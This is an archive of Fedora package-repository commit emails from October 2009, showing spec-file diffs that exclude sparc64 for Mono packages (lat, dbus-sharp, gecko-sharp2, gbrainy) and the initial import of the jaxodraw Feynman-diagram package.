--- lat.spec	26 Oct 2009 19:58:40 -0000	1.25
+++ lat.spec	26 Oct 2009 20:57:02 -0000	1.26
@@ -18,7 +18,8 @@ Requires:           mono-data, gtk-sharp
 Requires(post):     scrollkeeper
 Requires(postun):   scrollkeeper
 
-ExcludeArch: sparc64
+# ausil added this without a bug reference...
+ExcludeArch:        sparc64
 
 # Debuginfo package would be empty as there are no binaries in this package
 %define debug_package %{nil}
@@ -99,9 +100,6 @@ The lat-devel package contains the files
 %dir %{_datadir}/gnome/help/
 %{_datadir}/gnome/help/lat/
 %{_datadir}/icons/hicolor/22x22/apps/lat.png
-%if "%{?fedora}" == "5"
-%dir %{_datadir}/omf/
-%endif
 %{_datadir}/omf/lat/
 %{_mandir}/man1/lat.1*
 
@@ -111,8 +109,8 @@ The lat-devel package contains the files
 
 %changelog
 * Mon Oct 26 2009 Dennis Gilmore <dennis at ausil.us> - 1.2.3-9
-- remove fedora 5 conditionals
-- ExcldeArch sparc64
+- Remove Fedora 5 conditionals
+- ExcludeArch sparc64 due to missing mono support on that arch
 
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.2.3-8
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild



From pghmcfc at fedoraproject.org  Mon Oct 26 20:57:03 2009
From: pghmcfc at fedoraproject.org (Paul Howarth)
Date: Mon, 26 Oct 2009 20:57:03 +0000 (UTC)
Subject: rpms/lat/devel lat.spec,1.25,1.26
Message-ID: <20091026205703.9FB8511C0264@cvs1.fedora.phx.redhat.com>

Author: pghmcfc

Update of /cvs/pkgs/rpms/lat/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv27050/devel

Modified Files:
	lat.spec 
Log Message:
Fix typos and missed edit from ausil's last change


Index: lat.spec
===================================================================
RCS file: /cvs/pkgs/rpms/lat/devel/lat.spec,v
retrieving revision 1.25
retrieving revision 1.26
diff -u -p -r1.25 -r1.26
--- lat.spec	26 Oct 2009 19:59:48 -0000	1.25
+++ lat.spec	26 Oct 2009 20:57:03 -0000	1.26
@@ -18,7 +18,8 @@ Requires:           mono-data, gtk-sharp
 Requires(post):     scrollkeeper
 Requires(postun):   scrollkeeper
 
-ExcludeArch: sparc64
+# ausil added this without a bug reference...
+ExcludeArch:        sparc64
 
 # Debuginfo package would be empty as there are no binaries in this package
 %define debug_package %{nil}
@@ -99,9 +100,6 @@ The lat-devel package contains the files
 %dir %{_datadir}/gnome/help/
 %{_datadir}/gnome/help/lat/
 %{_datadir}/icons/hicolor/22x22/apps/lat.png
-%if "%{?fedora}" == "5"
-%dir %{_datadir}/omf/
-%endif
 %{_datadir}/omf/lat/
 %{_mandir}/man1/lat.1*
 
@@ -111,8 +109,8 @@ The lat-devel package contains the files
 
 %changelog
 * Mon Oct 26 2009 Dennis Gilmore <dennis at ausil.us> - 1.2.3-9
-- remove fedora 5 conditionals
-- ExcldeArch sparc64
+- Remove Fedora 5 conditionals
+- ExcludeArch sparc64 due to missing mono support on that arch
 
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.2.3-8
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild



From ausil at fedoraproject.org  Mon Oct 26 20:57:09 2009
From: ausil at fedoraproject.org (Dennis Gilmore)
Date: Mon, 26 Oct 2009 20:57:09 +0000 (UTC)
Subject: rpms/dbus-sharp/F-12 dbus-sharp.spec,1.14,1.15
Message-ID: <20091026205709.1650811C0264@cvs1.fedora.phx.redhat.com>

Author: ausil

Update of /cvs/pkgs/rpms/dbus-sharp/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv27145

Modified Files:
	dbus-sharp.spec 
Log Message:
excludeArch sparc64



Index: dbus-sharp.spec
===================================================================
RCS file: /cvs/pkgs/rpms/dbus-sharp/F-12/dbus-sharp.spec,v
retrieving revision 1.14
retrieving revision 1.15
diff -u -p -r1.14 -r1.15
--- dbus-sharp.spec	24 Jul 2009 20:03:37 -0000	1.14
+++ dbus-sharp.spec	26 Oct 2009 20:57:08 -0000	1.15
@@ -4,7 +4,7 @@
 Summary: C# bindings for D-Bus
 Name: dbus-sharp
 Version: 0.63
-Release: 13%{?dist}.1
+Release: 14%{?dist}
 URL: http://www.freedesktop.org/software/dbus/
 Source0: %{name}-%{version}.tar.gz
 License: AFL or GPLv2
@@ -16,8 +16,8 @@ BuildRequires: dbus-glib-devel >= %{dbus
 BuildRequires: autoconf
 BuildRequires: automake, libtool
 BuildRequires: mono-devel
-# Mono only availible on these:
-ExclusiveArch: %ix86 x86_64 ppc ppc64 ia64 armv4l sparc alpha s390 s390x
+# Mono not availible on these:
+ExcludeArch: sparc64
 
 Patch1: dbus-sharp-0.63-nogtk.patch
 Patch2: dbus-sharp-gchandle.patch
@@ -66,6 +66,9 @@ rm -rf %{buildroot}
 %{_libdir}/pkgconfig/dbus-sharp.pc
 
 %changelog
+* Mon Oct 26 2009 Dennis Gilmore <dennis at ausil.us> - 0.63-14
+- ExcludeArch sparc64
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.63-13.1
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From ausil at fedoraproject.org  Mon Oct 26 20:58:38 2009
From: ausil at fedoraproject.org (Dennis Gilmore)
Date: Mon, 26 Oct 2009 20:58:38 +0000 (UTC)
Subject: rpms/dbus-sharp/devel dbus-sharp.spec,1.14,1.15
Message-ID: <20091026205838.9CDE111C0264@cvs1.fedora.phx.redhat.com>

Author: ausil

Update of /cvs/pkgs/rpms/dbus-sharp/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv27644

Modified Files:
	dbus-sharp.spec 
Log Message:
 ExcludeArch sparc64



Index: dbus-sharp.spec
===================================================================
RCS file: /cvs/pkgs/rpms/dbus-sharp/devel/dbus-sharp.spec,v
retrieving revision 1.14
retrieving revision 1.15
diff -u -p -r1.14 -r1.15
--- dbus-sharp.spec	24 Jul 2009 20:03:37 -0000	1.14
+++ dbus-sharp.spec	26 Oct 2009 20:58:38 -0000	1.15
@@ -4,7 +4,7 @@
 Summary: C# bindings for D-Bus
 Name: dbus-sharp
 Version: 0.63
-Release: 13%{?dist}.1
+Release: 14%{?dist}
 URL: http://www.freedesktop.org/software/dbus/
 Source0: %{name}-%{version}.tar.gz
 License: AFL or GPLv2
@@ -16,8 +16,8 @@ BuildRequires: dbus-glib-devel >= %{dbus
 BuildRequires: autoconf
 BuildRequires: automake, libtool
 BuildRequires: mono-devel
-# Mono only availible on these:
-ExclusiveArch: %ix86 x86_64 ppc ppc64 ia64 armv4l sparc alpha s390 s390x
+# Mono not availible on these:
+ExcludeArch: sparc64
 
 Patch1: dbus-sharp-0.63-nogtk.patch
 Patch2: dbus-sharp-gchandle.patch
@@ -66,6 +66,9 @@ rm -rf %{buildroot}
 %{_libdir}/pkgconfig/dbus-sharp.pc
 
 %changelog
+* Mon Oct 26 2009 Dennis Gilmore <dennis at ausil.us> - 0.63-14
+- ExcludeArch sparc64
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.63-13.1
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From ausil at fedoraproject.org  Mon Oct 26 21:00:59 2009
From: ausil at fedoraproject.org (Dennis Gilmore)
Date: Mon, 26 Oct 2009 21:00:59 +0000 (UTC)
Subject: rpms/gecko-sharp2/F-12 gecko-sharp2.spec,1.32,1.33
Message-ID: <20091026210059.4AA5811C029D@cvs1.fedora.phx.redhat.com>

Author: ausil

Update of /cvs/pkgs/rpms/gecko-sharp2/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv29103

Modified Files:
	gecko-sharp2.spec 
Log Message:
exclude sparc64



Index: gecko-sharp2.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gecko-sharp2/F-12/gecko-sharp2.spec,v
retrieving revision 1.32
retrieving revision 1.33
diff -u -p -r1.32 -r1.33
--- gecko-sharp2.spec	20 Aug 2009 19:48:40 -0000	1.32
+++ gecko-sharp2.spec	26 Oct 2009 21:00:58 -0000	1.33
@@ -1,6 +1,6 @@
 Name:           gecko-sharp2
 Version:        0.13
-Release:        12%{?dist}
+Release:        13%{?dist}
 Summary:        Gecko bindings for Mono
 
 Group:          System Environment/Libraries
@@ -22,8 +22,8 @@ BuildRequires:  perl(XML::SAX)
 BuildRequires:  gecko-devel
 Requires:       gecko-libs
 
-# Mono only available on these platforms
-ExclusiveArch: %ix86 x86_64 ppc ppc64 ia64 armv4l sparc alpha
+# Mono Not available on these platforms
+ExcludeArch: sparc64
 
 %description
 This package provides Mono bindings for the Gecko engine, through
@@ -70,6 +70,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Mon Oct 26 2009 Dennis Gilmore <dennis at ausil.us> - 0.13-13
+- ExcludeArch sparc64
+
 * Thu Aug 20 2009 Toshio Kuratomi <toshio at fedoraproject.org> - 0.13-12
 - Fix upgrade path versioning
 



From ausil at fedoraproject.org  Mon Oct 26 21:01:56 2009
From: ausil at fedoraproject.org (Dennis Gilmore)
Date: Mon, 26 Oct 2009 21:01:56 +0000 (UTC)
Subject: rpms/gecko-sharp2/devel gecko-sharp2.spec,1.32,1.33
Message-ID: <20091026210156.02ED311C0264@cvs1.fedora.phx.redhat.com>

Author: ausil

Update of /cvs/pkgs/rpms/gecko-sharp2/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv29494

Modified Files:
	gecko-sharp2.spec 
Log Message:
Exclude sparc64



Index: gecko-sharp2.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gecko-sharp2/devel/gecko-sharp2.spec,v
retrieving revision 1.32
retrieving revision 1.33
diff -u -p -r1.32 -r1.33
--- gecko-sharp2.spec	20 Aug 2009 19:48:40 -0000	1.32
+++ gecko-sharp2.spec	26 Oct 2009 21:01:55 -0000	1.33
@@ -1,6 +1,6 @@
 Name:           gecko-sharp2
 Version:        0.13
-Release:        12%{?dist}
+Release:        13%{?dist}
 Summary:        Gecko bindings for Mono
 
 Group:          System Environment/Libraries
@@ -22,8 +22,8 @@ BuildRequires:  perl(XML::SAX)
 BuildRequires:  gecko-devel
 Requires:       gecko-libs
 
-# Mono only available on these platforms
-ExclusiveArch: %ix86 x86_64 ppc ppc64 ia64 armv4l sparc alpha
+# Mono Not available on these platforms
+ExcludeArch: sparc64
 
 %description
 This package provides Mono bindings for the Gecko engine, through
@@ -70,6 +70,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Mon Oct 26 2009 Dennis Gilmore <dennis at ausil.us> - 0.13-13
+- ExcludeArch sparc64
+
 * Thu Aug 20 2009 Toshio Kuratomi <toshio at fedoraproject.org> - 0.13-12
 - Fix upgrade path versioning
 



From jussilehtola at fedoraproject.org  Mon Oct 26 21:03:12 2009
From: jussilehtola at fedoraproject.org (Jussi Lehtola)
Date: Mon, 26 Oct 2009 21:03:12 +0000 (UTC)
Subject: rpms/jaxodraw/devel import.log, NONE, 1.1 jaxodraw.spec, NONE,
	1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091026210312.9BB4111C0264@cvs1.fedora.phx.redhat.com>

Author: jussilehtola

Update of /cvs/pkgs/rpms/jaxodraw/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv29992/devel

Modified Files:
	.cvsignore sources 
Added Files:
	import.log jaxodraw.spec 
Log Message:
Imported in Fedora.



--- NEW FILE import.log ---
jaxodraw-2_0_1-3_fc11:HEAD:jaxodraw-2.0.1-3.fc11.src.rpm:1256590972


--- NEW FILE jaxodraw.spec ---
%global major 2.0
%global minor 1

Name:		jaxodraw
Version:	%{major}.%{minor}
Release:	3%{?dist}
Summary:	A Java program for drawing Feynman diagrams
Group:		Applications/Engineering 
License:	GPLv2+
URL:		http://jaxodraw.sourceforge.net/
Source0:	http://downloads.sourceforge.net/%{name}/%{name}-%{major}-%{minor}_src.tar.gz
# LaTeX file for exporting figures
Source1:	http://downloads.sourceforge.net/%{name}/axodraw4j_2008_11_19.tar.gz
BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
BuildArch:	noarch

BuildRequires:	ant
BuildRequires:	desktop-file-utils
# java-devel, we need at least 1.6.0
BuildRequires:	java-devel >= 1:1.6.0
BuildRequires:	jpackage-utils
# Unit testing capabilities
BuildRequires:	ant-junit

Requires:	java >= 1:1.6.0
Requires:	jpackage-utils

%description
JaxoDraw is a Java program for drawing Feynman diagrams. It has a complete
graphical user interface that allows to carry out all actions in a mouse
click-and-drag fashion. Fine-tuning of the diagrams is also possible through
keyboard entries. Graphs may be exported to (encapsulated) postscript and can
be saved in XML files to be used in later sessions.

%package javadoc
Summary:        Javadocs for %{name}
Group:          Documentation
Requires:       %{name} = %{version}-%{release}
Requires:       jpackage-utils

%description javadoc
This package contains the API documentation for %{name}.


%package latex
Summary:	LaTeX style file axodraw4j.sty for documents generated with jaxodraw
Group:		Applications/Engineering
License:	LPPL
# In order to compile documents one needs a LaTeX compiler
Requires:	tex(latex)
Requires:	tex(texmf)

%description latex
This package contains the LaTeX style file that is needed for EPS export
functionality in jaxodraw.

You need this if you want the export to EPS function to work or if you want to
compile LaTeX files generated with jaxodraw.

%prep
%setup -q -n JaxoDraw-%{major}-%{minor} -a 1
find -name '*.jar' -o -name '*.class' -exec rm -f '{}' \;

# Convert documentation encoding
for file in src/doc/{TODO,CHANGELOG,README,BUGS} src/doc/legal/{GNU-,}LICENSE; do
 sed 's/\r//' $file > $file.new && \
 touch -r $file $file.new && \
 mv $file.new $file
done

# Desktop file
cat >> %{name}.desktop << EOF
[Desktop Entry]
Name=JaxoDraw
Comment=Tool for drawing Feynman diagrams
Exec=%{name}
Terminal=false
Type=Application
Categories=Graphics;2DGraphics;VectorGraphics;Physics;Science;
EOF

# Invocation script
cat >> %{name} << EOF
#!/bin/sh
java -jar %{_javadir}/%{name}.jar
EOF

%build
ant jar javadoc

%install
rm -rf %{buildroot}
install -D -p -m 644 build/%{name}-%{major}-%{minor}.jar %{buildroot}%{_javadir}/%{name}.jar
install -D -p -m 755 %{name} %{buildroot}%{_bindir}/%{name}
desktop-file-install --dir=%{buildroot}%{_datadir}/applications %{name}.desktop

# Javadoc
mkdir -p %{buildroot}%{_javadocdir}/%{name}
cp -rp build/javadoc/* %{buildroot}%{_javadocdir}/%{name}

# LaTeX style
install -D -p -m 644 axodraw4j.sty %{buildroot}%{_datadir}/texmf/tex/latex/axodraw4j/axodraw4j.sty

%check
# Unit tests fail with Open JDK
#ant test

%clean
rm -rf %{buildroot}

%post latex -p /usr/bin/texhash
%postun latex -p /usr/bin/texhash

%files
%defattr(-,root,root,-)
%doc src/doc/* axodraw4j-summary.txt
%{_bindir}/%{name}
%{_javadir}/%{name}.jar
%{_datadir}/applications/%{name}.desktop

%files javadoc
%defattr(-,root,root,-)
%{_javadocdir}/%{name}/

%files latex
%defattr(-,root,root,-)
%{_datadir}/texmf/tex/latex/axodraw4j/

%changelog
* Fri Oct 23 2009 Jussi Lehtola <jussilehtola at fedoraproject.org> - 2.0.1-3
- Build and include javadoc.
- Add infrastructure for unit testing.

* Wed Oct 21 2009 Jussi Lehtola <jussilehtola at fedoraproject.org> - 2.0.1-2
- Generalize requires on latex package from texlive-foo to tex(foo).

* Wed Aug 05 2009 Jussi Lehtola <jussilehtola at fedoraproject.org> - 2.0.1-1
- Rebase to upstream 2.0-1 which removes the unused license file.

* Wed Jul 29 2009 Jussi Lehtola <jussilehtola at fedoraproject.org> - 2.0-3
- Branch stylefile into its own package to make licenses clearer.

* Wed Jun 10 2009 Jussi Lehtola <jussilehtola at fedoraproject.org> - 2.0-2
- Changed license to GPLv2+ (jaxodraw) and LPPL (axodraw4j.sty).

* Sat Jun 06 2009 Jussi Lehtola <jussilehtola at fedoraproject.org> - 2.0-1
- First release.


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/jaxodraw/devel/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	26 Oct 2009 20:09:09 -0000	1.1
+++ .cvsignore	26 Oct 2009 21:03:12 -0000	1.2
@@ -0,0 +1,2 @@
+axodraw4j_2008_11_19.tar.gz
+jaxodraw-2.0-1_src.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/jaxodraw/devel/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	26 Oct 2009 20:09:09 -0000	1.1
+++ sources	26 Oct 2009 21:03:12 -0000	1.2
@@ -0,0 +1,2 @@
+12a1aef54381e0d44946324a0cbfce54  axodraw4j_2008_11_19.tar.gz
+d4837b2f2a083b110d92f6b8ea649057  jaxodraw-2.0-1_src.tar.gz



From jussilehtola at fedoraproject.org  Mon Oct 26 21:04:20 2009
From: jussilehtola at fedoraproject.org (Jussi Lehtola)
Date: Mon, 26 Oct 2009 21:04:20 +0000 (UTC)
Subject: rpms/jaxodraw/F-11 jaxodraw.spec,NONE,1.1 sources,1.1,1.2
Message-ID: <20091026210420.81F2E11C0264@cvs1.fedora.phx.redhat.com>

Author: jussilehtola

Update of /cvs/pkgs/rpms/jaxodraw/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv30239/F-11

Modified Files:
	sources 
Added Files:
	jaxodraw.spec 
Log Message:
Imported in Fedora.


--- NEW FILE jaxodraw.spec ---
%global major 2.0
%global minor 1

Name:		jaxodraw
Version:	%{major}.%{minor}
Release:	3%{?dist}
Summary:	A Java program for drawing Feynman diagrams
Group:		Applications/Engineering 
License:	GPLv2+
URL:		http://jaxodraw.sourceforge.net/
Source0:	http://downloads.sourceforge.net/%{name}/%{name}-%{major}-%{minor}_src.tar.gz
# LaTeX file for exporting figures
Source1:	http://downloads.sourceforge.net/%{name}/axodraw4j_2008_11_19.tar.gz
BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
BuildArch:	noarch

BuildRequires:	ant
BuildRequires:	desktop-file-utils
# java-devel, we need at least 1.6.0
BuildRequires:	java-devel >= 1:1.6.0
BuildRequires:	jpackage-utils
# Unit testing capabilities
BuildRequires:	ant-junit

Requires:	java >= 1:1.6.0
Requires:	jpackage-utils

%description
JaxoDraw is a Java program for drawing Feynman diagrams. It has a complete
graphical user interface that allows to carry out all actions in a mouse
click-and-drag fashion. Fine-tuning of the diagrams is also possible through
keyboard entries. Graphs may be exported to (encapsulated) postscript and can
be saved in XML files to be used in later sessions.

%package javadoc
Summary:        Javadocs for %{name}
Group:          Documentation
Requires:       %{name} = %{version}-%{release}
Requires:       jpackage-utils

%description javadoc
This package contains the API documentation for %{name}.


%package latex
Summary:	LaTeX style file axodraw4j.sty for documents generated with jaxodraw
Group:		Applications/Engineering
License:	LPPL
# In order to compile documents one needs a LaTeX compiler
Requires:	tex(latex)
Requires:	tex(texmf)

%description latex
This package contains the LaTeX style file that is needed for EPS export
functionality in jaxodraw.

You need this if you want the export to EPS function to work or if you want to
compile LaTeX files generated with jaxodraw.

%prep
%setup -q -n JaxoDraw-%{major}-%{minor} -a 1
find -name '*.jar' -o -name '*.class' -exec rm -f '{}' \;

# Convert documentation encoding
for file in src/doc/{TODO,CHANGELOG,README,BUGS} src/doc/legal/{GNU-,}LICENSE; do
 sed 's/\r//' $file > $file.new && \
 touch -r $file $file.new && \
 mv $file.new $file
done

# Desktop file
cat >> %{name}.desktop << EOF
[Desktop Entry]
Name=JaxoDraw
Comment=Tool for drawing Feynman diagrams
Exec=%{name}
Terminal=false
Type=Application
Categories=Graphics;2DGraphics;VectorGraphics;Physics;Science;
EOF

# Invocation script
cat >> %{name} << EOF
#!/bin/sh
java -jar %{_javadir}/%{name}.jar
EOF

%build
ant jar javadoc

%install
rm -rf %{buildroot}
install -D -p -m 644 build/%{name}-%{major}-%{minor}.jar %{buildroot}%{_javadir}/%{name}.jar
install -D -p -m 755 %{name} %{buildroot}%{_bindir}/%{name}
desktop-file-install --dir=%{buildroot}%{_datadir}/applications %{name}.desktop

# Javadoc
mkdir -p %{buildroot}%{_javadocdir}/%{name}
cp -rp build/javadoc/* %{buildroot}%{_javadocdir}/%{name}

# LaTeX style
install -D -p -m 644 axodraw4j.sty %{buildroot}%{_datadir}/texmf/tex/latex/axodraw4j/axodraw4j.sty

%check
# Unit tests fail with Open JDK
#ant test

%clean
rm -rf %{buildroot}

%post latex -p /usr/bin/texhash
%postun latex -p /usr/bin/texhash

%files
%defattr(-,root,root,-)
%doc src/doc/* axodraw4j-summary.txt
%{_bindir}/%{name}
%{_javadir}/%{name}.jar
%{_datadir}/applications/%{name}.desktop

%files javadoc
%defattr(-,root,root,-)
%{_javadocdir}/%{name}/

%files latex
%defattr(-,root,root,-)
%{_datadir}/texmf/tex/latex/axodraw4j/

%changelog
* Fri Oct 23 2009 Jussi Lehtola <jussilehtola at fedoraproject.org> - 2.0.1-3
- Build and include javadoc.
- Add infrastructure for unit testing.

* Wed Oct 21 2009 Jussi Lehtola <jussilehtola at fedoraproject.org> - 2.0.1-2
- Generalize requires on latex package from texlive-foo to tex(foo).

* Wed Aug 05 2009 Jussi Lehtola <jussilehtola at fedoraproject.org> - 2.0.1-1
- Rebase to upstream 2.0-1 which removes the unused license file.

* Wed Jul 29 2009 Jussi Lehtola <jussilehtola at fedoraproject.org> - 2.0-3
- Branch stylefile into its own package to make licenses clearer.

* Wed Jun 10 2009 Jussi Lehtola <jussilehtola at fedoraproject.org> - 2.0-2
- Changed license to GPLv2+ (jaxodraw) and LPPL (axodraw4j.sty).

* Sat Jun 06 2009 Jussi Lehtola <jussilehtola at fedoraproject.org> - 2.0-1
- First release.


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/jaxodraw/F-11/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	26 Oct 2009 20:09:09 -0000	1.1
+++ sources	26 Oct 2009 21:04:20 -0000	1.2
@@ -0,0 +1,2 @@
+12a1aef54381e0d44946324a0cbfce54  axodraw4j_2008_11_19.tar.gz
+d4837b2f2a083b110d92f6b8ea649057  jaxodraw-2.0-1_src.tar.gz



From jussilehtola at fedoraproject.org  Mon Oct 26 21:04:21 2009
From: jussilehtola at fedoraproject.org (Jussi Lehtola)
Date: Mon, 26 Oct 2009 21:04:21 +0000 (UTC)
Subject: rpms/jaxodraw/F-12 jaxodraw.spec,NONE,1.1 sources,1.1,1.2
Message-ID: <20091026210421.6811111C0267@cvs1.fedora.phx.redhat.com>

Author: jussilehtola

Update of /cvs/pkgs/rpms/jaxodraw/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv30239/F-12

Modified Files:
	sources 
Added Files:
	jaxodraw.spec 
Log Message:
Imported in Fedora.


--- NEW FILE jaxodraw.spec ---
%global major 2.0
%global minor 1

Name:		jaxodraw
Version:	%{major}.%{minor}
Release:	3%{?dist}
Summary:	A Java program for drawing Feynman diagrams
Group:		Applications/Engineering 
License:	GPLv2+
URL:		http://jaxodraw.sourceforge.net/
Source0:	http://downloads.sourceforge.net/%{name}/%{name}-%{major}-%{minor}_src.tar.gz
# LaTeX file for exporting figures
Source1:	http://downloads.sourceforge.net/%{name}/axodraw4j_2008_11_19.tar.gz
BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
BuildArch:	noarch

BuildRequires:	ant
BuildRequires:	desktop-file-utils
# java-devel, we need at least 1.6.0
BuildRequires:	java-devel >= 1:1.6.0
BuildRequires:	jpackage-utils
# Unit testing capabilities
BuildRequires:	ant-junit

Requires:	java >= 1:1.6.0
Requires:	jpackage-utils

%description
JaxoDraw is a Java program for drawing Feynman diagrams. It has a complete
graphical user interface that allows to carry out all actions in a mouse
click-and-drag fashion. Fine-tuning of the diagrams is also possible through
keyboard entries. Graphs may be exported to (encapsulated) postscript and can
be saved in XML files to be used in later sessions.

%package javadoc
Summary:        Javadocs for %{name}
Group:          Documentation
Requires:       %{name} = %{version}-%{release}
Requires:       jpackage-utils

%description javadoc
This package contains the API documentation for %{name}.


%package latex
Summary:	LaTeX style file axodraw4j.sty for documents generated with jaxodraw
Group:		Applications/Engineering
License:	LPPL
# In order to compile documents one needs a LaTeX compiler
Requires:	tex(latex)
Requires:	tex(texmf)

%description latex
This package contains the LaTeX style file that is needed for EPS export
functionality in jaxodraw.

You need this if you want the export to EPS function to work or if you want to
compile LaTeX files generated with jaxodraw.

%prep
%setup -q -n JaxoDraw-%{major}-%{minor} -a 1
find -name '*.jar' -o -name '*.class' -exec rm -f '{}' \;

# Convert documentation encoding
for file in src/doc/{TODO,CHANGELOG,README,BUGS} src/doc/legal/{GNU-,}LICENSE; do
 sed 's/\r//' $file > $file.new && \
 touch -r $file $file.new && \
 mv $file.new $file
done

# Desktop file
cat >> %{name}.desktop << EOF
[Desktop Entry]
Name=JaxoDraw
Comment=Tool for drawing Feynman diagrams
Exec=%{name}
Terminal=false
Type=Application
Categories=Graphics;2DGraphics;VectorGraphics;Physics;Science;
EOF

# Invocation script
cat >> %{name} << EOF
#!/bin/sh
java -jar %{_javadir}/%{name}.jar
EOF

%build
ant jar javadoc

%install
rm -rf %{buildroot}
install -D -p -m 644 build/%{name}-%{major}-%{minor}.jar %{buildroot}%{_javadir}/%{name}.jar
install -D -p -m 755 %{name} %{buildroot}%{_bindir}/%{name}
desktop-file-install --dir=%{buildroot}%{_datadir}/applications %{name}.desktop

# Javadoc
mkdir -p %{buildroot}%{_javadocdir}/%{name}
cp -rp build/javadoc/* %{buildroot}%{_javadocdir}/%{name}

# LaTeX style
install -D -p -m 644 axodraw4j.sty %{buildroot}%{_datadir}/texmf/tex/latex/axodraw4j/axodraw4j.sty

%check
# Unit tests fail with Open JDK
#ant test

%clean
rm -rf %{buildroot}

%post latex -p /usr/bin/texhash
%postun latex -p /usr/bin/texhash

%files
%defattr(-,root,root,-)
%doc src/doc/* axodraw4j-summary.txt
%{_bindir}/%{name}
%{_javadir}/%{name}.jar
%{_datadir}/applications/%{name}.desktop

%files javadoc
%defattr(-,root,root,-)
%{_javadocdir}/%{name}/

%files latex
%defattr(-,root,root,-)
%{_datadir}/texmf/tex/latex/axodraw4j/

%changelog
* Fri Oct 23 2009 Jussi Lehtola <jussilehtola at fedoraproject.org> - 2.0.1-3
- Build and include javadoc.
- Add infrastructure for unit testing.

* Wed Oct 21 2009 Jussi Lehtola <jussilehtola at fedoraproject.org> - 2.0.1-2
- Generalize requires on latex package from texlive-foo to tex(foo).

* Wed Aug 05 2009 Jussi Lehtola <jussilehtola at fedoraproject.org> - 2.0.1-1
- Rebase to upstream 2.0-1 which removes the unused license file.

* Wed Jul 29 2009 Jussi Lehtola <jussilehtola at fedoraproject.org> - 2.0-3
- Branch stylefile into its own package to make licenses clearer.

* Wed Jun 10 2009 Jussi Lehtola <jussilehtola at fedoraproject.org> - 2.0-2
- Changed license to GPLv2+ (jaxodraw) and LPPL (axodraw4j.sty).

* Sat Jun 06 2009 Jussi Lehtola <jussilehtola at fedoraproject.org> - 2.0-1
- First release.


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/jaxodraw/F-12/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	26 Oct 2009 20:09:09 -0000	1.1
+++ sources	26 Oct 2009 21:04:20 -0000	1.2
@@ -0,0 +1,2 @@
+12a1aef54381e0d44946324a0cbfce54  axodraw4j_2008_11_19.tar.gz
+d4837b2f2a083b110d92f6b8ea649057  jaxodraw-2.0-1_src.tar.gz



From ausil at fedoraproject.org  Mon Oct 26 21:05:02 2009
From: ausil at fedoraproject.org (Dennis Gilmore)
Date: Mon, 26 Oct 2009 21:05:02 +0000 (UTC)
Subject: rpms/gbrainy/F-12 gbrainy.spec,1.16,1.17
Message-ID: <20091026210502.2CA0C11C0264@cvs1.fedora.phx.redhat.com>

Author: ausil

Update of /cvs/pkgs/rpms/gbrainy/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv30350

Modified Files:
	gbrainy.spec 
Log Message:
exclude sparc64



Index: gbrainy.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gbrainy/F-12/gbrainy.spec,v
retrieving revision 1.16
retrieving revision 1.17
diff -u -p -r1.16 -r1.17
--- gbrainy.spec	20 Aug 2009 20:16:50 -0000	1.16
+++ gbrainy.spec	26 Oct 2009 21:05:00 -0000	1.17
@@ -4,7 +4,7 @@
 
 Name:		gbrainy
 Version:	1.1
-Release:	5%{?dist}
+Release:	6%{?dist}
 Summary:	A brain teaser game and trainer to keep your brain trained
 
 Group:		Amusements/Games
@@ -17,8 +17,8 @@ BuildRequires:	mono-devel intltool librs
 BuildRequires:	gtk-sharp2-devel gnome-sharp-devel
 BuildRequires:  /usr/bin/desktop-file-install
 
-# Mono only availible on these:
-ExclusiveArch: %ix86 x86_64 ia64 armv4l sparcv9 alpha s390 s390x ppc ppc64
+# Mono not availible on these:
+ExcludeArch: sparc64
 
 %description
 gbrainy is a brain teaser game and trainer to have
@@ -83,6 +83,9 @@ fi
 %{_datadir}/pixmaps/%{name}*
 
 %changelog
+* Mon Oct 26 2009 Dennis Gilmore <dennis at ausil.us> - 1.1-6
+- Exclude sparc64
+
 * Thu Aug 20 2009 Toshio Kuratomi <toshio at fedoraproject.org> - 1.1-5
 - Build with ppc64 again due to obsolecense of previous update.
 



From ausil at fedoraproject.org  Mon Oct 26 21:06:24 2009
From: ausil at fedoraproject.org (Dennis Gilmore)
